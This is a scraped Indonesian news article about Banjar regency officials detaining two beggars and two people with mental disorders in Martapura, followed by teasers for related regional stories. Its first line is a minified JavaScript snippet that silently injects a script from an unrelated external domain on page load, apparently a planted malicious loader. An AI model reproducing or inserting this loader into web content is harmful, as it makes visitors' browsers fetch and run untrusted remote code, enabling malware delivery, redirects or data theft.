(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Tim gabungan di Pemkab Banjar melakukan penertiban terhadap gelandangan dan pengemis (gepeng) di dua lokasi, yakni kawasan traffic light Sekumpul dan Pasar Martapura, pada Jumat (2/5/2025) pagi.
Tim gabungan itu terdiri atas Satuan Polisi Pamong Praja (Satpol PP), Dinas Sosial P3AP2KB, Dinas Perhubungan, Dinas Kesehatan, Dinas Pendidikan, Dukcapil serta Dinas Komunikasi Informatika Statistik dan Persandian Kabupaten Banjar.
Kepala Bidang Penegakan Perundang-undangan Daerah (PPHD) Satpol PP Banjar Agus Hariyanto mengatakan, dalam operasi tersebut pihaknya mengamankan empat orang. Masing-masing dua gepeng dan dua lainnya Orang dengan Gangguan Jiwa (ODGJ).
Baca juga: Hardiknas 2025 di Banjarbaru Diisi Komitmen SPMB, Pj Wali Kota: Keterisian Murid di Sekolah Merata
“Dua gepeng kami data di Kantor Satpol PP dan akan kami serahkan ke rumah singgah Dinsos P3AP2KB.
Sementara dua ODGJ kami antarkan ke rumah masing-masing dan langsung berkoordinasi dengan pembakal setempat,” jelas Agus.
Kepala Bidang Rehabilitasi dan Perlindungan Jaminan Sosial Dinsos P3AP2KB Banjar Rahmadi menambahkan, dua ODGJ tersebut tidak dikenakan sanksi, namun dibuatkan surat pernyataan yang ditandatangani oleh pembakal, ketua RT dan keluarga.
Rahmadi juga menjelaskan, jika keempat orang yang diamankan kembali ditemukan di lokasi yang sama, maka pihaknya akan melakukan identifikasi di rumah singgah dan melakukan assesmen lebih lanjut.
“Saya harap ke depan tidak terjadi hal serupa. Jika mereka kembali melakukan tindakan yang mengganggu tentu akan kami tindak tegas,” ujar dia.
Baca juga: Kasus Mama Khas Banjar, Kementerian UMKM Siap Turun Tangan
Menurut dia ODGJ yang memerlukan perawatan akan dirujuk ke Rumah Sakit Jiwa (RSJ) Sambang Lihum di Kecamatan Gambut, namun jika yang bersangkutan memerlukan tindakan medis, maka pihaknya akan memberikan rujukan ke Rumah Sakit Umum Daerah (RSUD) Ratu Zalecha Martapura.
“Apabila tidak memiliki dokumen atau alamat, kami akan berkoordinasi dengan Disdukcapil Banjar untuk melakukan perekaman biometrik.
Kami siap memfasilitasi hingga pengantaran ke alamat yang bersangkutan,” pungkas dia. (kanalkalimantan.com/dkispbanjar/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More
Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More
This website uses cookies.